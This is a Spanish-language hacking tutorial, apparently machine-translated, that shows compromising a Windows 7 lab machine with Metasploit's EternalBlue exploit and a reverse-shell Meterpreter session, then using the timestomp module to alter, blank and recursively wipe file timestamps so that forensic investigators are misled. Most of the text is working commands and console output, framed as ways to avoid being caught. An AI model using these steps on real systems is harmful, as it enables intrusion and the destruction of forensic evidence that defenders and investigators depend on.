Se dice que la mejor manera de evitar la detección cuando se realiza un pirateo es no dejar rastro y, a menudo, eso significa no tocar el sistema de archivos . Pero de manera realista, en la mayoría de los casos, es imposible no interactuar con el sistema de archivos de una forma u otra. Lo mejor que puede hacer para deshacerse de cualquier investigador es cambiar los atributos del archivo para ocultar la actividad. Podemos hacer esto con Metasploit's Timestomp.

¿Qué son los valores de MACE?

Los valores MACE (modificado, accedido, creado, entrada) son atributos de archivo que describen las fechas y horas de actividad de un archivo. Los administradores utilizan estos atributos para determinar cuándo se accedió o modificó un archivo por última vez, y a menudo se pueden usar para rastrear actividades maliciosas.

El mejor curso de acción a la hora de piratear es no dejar rastro, pero modificar los atributos de MACE podría ser la mejor opción. Este método no es infalible, pero puede ayudar a ocultar su actividad en el sistema de archivos.

Sin embargo, se debe utilizar el sentido común, ya que las fechas en el pasado (o el futuro) pueden ser un regalo de la actividad de piratería. Cambiar los cuatro atributos a la misma fecha y hora también es un regalo, ya que esto sería imposible.

Configura todo

Usaremos una copia de Windows 7  y Kali Linux como nuestra máquina de ataque. Lo primero que debemos hacer es crear algunos archivos de muestra en el destino. También creé una nueva carpeta llamada "MyFiles" para mantenerlos organizados. No importa lo que sean: algunos archivos de texto básicos serán más que suficientes.


Obtener una sesión de Meterpreter

Ahora que estamos listos para ese fin, inicie Metasploit en nuestra máquina atacante escribiendo msfconsole en el terminal .

~# msfconsole
msf5 >

Este objetivo es vulnerable a EternalBlue , así que lo usaré para obtener un shell. Sin embargo, no importa lo que use, siempre y cuando termine con una sesión de Meterpreter en el objetivo.

msf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.10.0.1:1234
[*] 10.10.0.104:445 - Connecting to target for exploitation.
[+] 10.10.0.104:445 - Connection established for exploitation.
[+] 10.10.0.104:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.0.104:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.0.104:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.0.104:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.0.104:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.0.104:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.0.104:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.0.104:445 - Sending all but last fragment of exploit packet
[*] 10.10.0.104:445 - Starting non-paged pool grooming
[+] 10.10.0.104:445 - Sending SMBv2 buffers
[+] 10.10.0.104:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.0.104:445 - Sending final SMBv2 buffers.
[*] 10.10.0.104:445 - Sending last fragment of exploit packet!
[*] 10.10.0.104:445 - Receiving response from exploit packet
[+] 10.10.0.104:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.0.104:445 - Sending egg to corrupted connection.
[*] 10.10.0.104:445 - Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 10.10.0.104
[*] Meterpreter session 1 opened (10.10.0.1:1234 -> 10.10.0.104:49233) at 2019-04-08 10:41:26 -0500
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter >
Verificar los archivos en el destino

Ahora que hemos comprometido el objetivo, emita el comando pwd para ver el directorio de trabajo actual.

meterpreter > pwd
C:\Windows\system32

Desde que creamos una nueva carpeta en la unidad C , podemos navegar allí y confirmar que los archivos que creamos anteriormente existen.

meterpreter > cd C:/Myfiles
meterpreter > ls
Listing: C:\Myfiles
===================
Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  12    fil   2019-04-08 12:43:24 -0500  example.txt
100666/rw-rw-rw-  7     fil   2019-04-08 12:43:55 -0500  test1.txt
100666/rw-rw-rw-  13    fil   2019-04-08 12:43:55 -0500  test2.txt
100666/rw-rw-rw-  127   fil   2019-04-08 12:43:55 -0500  test3.txt
Cambiar atributos de archivo con Timestomp

Timestomp es un módulo posterior a la explotación disponible en Meterpreter que se puede usar para modificar los valores MACE de los archivos. Es útil porque podemos cambiar los horarios y las fechas de los archivos a los que accedemos, minimizando el riesgo de ser capturados.

En una sesión de Meterpreter, use la ayuda de timestomp para mostrar el menú de ayuda para este módulo:

meterpreter > timestomp help
Usage: timestomp <file(s)> OPTIONS
OPTIONS:
    -a <opt>  Set the "last accessed" time of the file
    -b        Set the MACE timestamps so that EnCase shows blanks
    -c <opt>  Set the "creation" time of the file
    -e <opt>  Set the "mft entry modified" time of the file
    -f <opt>  Set the MACE of attributes equal to the supplied file
    -h        Help banner
    -m <opt>  Set the "last written" time of the file
    -r        Set the MACE timestamps recursively on a directory
    -v        Display the UTC MACE values of the file
    -z <opt>  Set all four attributes (MACE) of the file

 1 -Ver los valores de MACE para un archivo

Proporcione el archivo y la opción deseada para realizar una acción. Por ejemplo, para ver los valores MACE de un archivo, use el indicador -v .

meterpreter > timestomp example.txt -v
[*] Showing MACE attributes for example.txt
Modified      : 2019-04-08 13:44:25 -0500
Accessed      : 2019-04-08 13:43:24 -0500
Created       : 2019-04-08 13:43:24 -0500
Entry Modified: 2019-04-08 13:44:25 -0500

2 -Cambiar los valores modificados, de acceso, creados y de entrada modificados

Podemos cambiar cualquiera de estos atributos utilizando la opción apropiada y un formato válido de DateTime. Para cambiar el valor "modificado", use la marca -m .

meterpreter > timestomp example.txt -m "02/14/2012 08:10:03"
[*] Setting specific MACE attributes on example.txt

Ahora, cuando vemos los atributos del archivo, podemos ver que esto ha cambiado.

meterpreter > timestomp example.txt -v
[*] Showing MACE attributes for example.txt
Modified      : 2012-02-14 08:10:03 -0600
Accessed      : 2019-04-08 13:43:24 -0500
Created       : 2019-04-08 13:43:24 -0500
Entry Modified: 2019-04-08 13:44:25 -0500

Podemos hacer esto para el valor "accedido" también usando la bandera -a .

meterpreter > timestomp example.txt -a "02/14/2012 08:10:03"
[*] Setting specific MACE attributes on example.txt

Y el valor "creado" con la bandera -c .

meterpreter > timestomp example.txt -c "03/11/1999 10:05:01"
[*] Setting specific MACE attributes on example.txt

Y, por último, el valor de "entrada modificada" usando la marca -e .

meterpreter > timestomp example.txt -e "04/25/2018 11:11:08"
[*] Setting specific MACE attributes on example.txt

Ahora, cuando vemos el archivo, podemos ver que todos estos cambios han entrado en vigencia.

meterpreter > timestomp example.txt -v 
[*] Showing MACE attributes for example.txt
Modified      : 2012-02-14 08:10:03 -0600
Accessed      : 2012-02-14 08:10:03 -0600
Created       : 1999-03-11 10:05:01 -0600
Entry Modified: 2018-04-25 12:11:08 -0500

3-Cambiar todos los valores al mismo tiempo

También podemos cambiar estos atributos todos a la vez si queremos que todos los valores sean iguales; use la marca -z para hacerlo.

meterpreter > timestomp example.txt -z "10/15/2017 05:30:22"
[*] Setting specific MACE attributes on example.txt

Y ahora todos han cambiado de nuevo.

meterpreter > timestomp example.txt -v
[*] Showing MACE attributes for example.txt
Modified      : 2017-10-15 06:30:22 -0500
Accessed      : 2017-10-15 06:30:22 -0500
Created       : 2017-10-15 06:30:22 -0500
Entry Modified: 2017-10-15 06:30:22 -0500
 4 -valores de coincidencia con otro archivo

También hay una opción interesante para establecer los atributos MACE equivalentes a un archivo existente en el sistema mediante el uso del indicador -f , pero no pude hacer que esto funcionara.

meterpreter > timestomp example.txt -f C:\\Windows\\notepad.exe
[*] Pulling MACE attributes from C:\Windows\notepad.exe
[-] priv_fs_get_file_mace: Operation failed: The handle is invalid.
 5 -Eliminar todos los valores

También podemos borrar totalmente los atributos del archivo, usando la marca -b .

meterpreter > timestomp example.txt -b
[*] Blanking file MACE attributes on example.txt

Ahora, cuando vemos el archivo, muestra los valores sin sentido como fechas en el futuro, lo que obviamente es imposible.

meterpreter > timestomp example.txt -v
[*] Showing MACE attributes for example.txt
Modified      : 2106-02-07 00:28:15 -0600
Accessed      : 2106-02-07 00:28:15 -0600
Created       : 2106-02-07 00:28:15 -0600
Entry Modified: 2106-02-07 00:28:15 -0600

También podemos borrar todos los archivos de forma recursiva en el directorio actual con la marca -r

meterpreter > timestomp ./ -r
[*] Blanking directory MACE attributes on ./

Cuando miramos los archivos en el objetivo ahora, las fechas aparecen en blanco.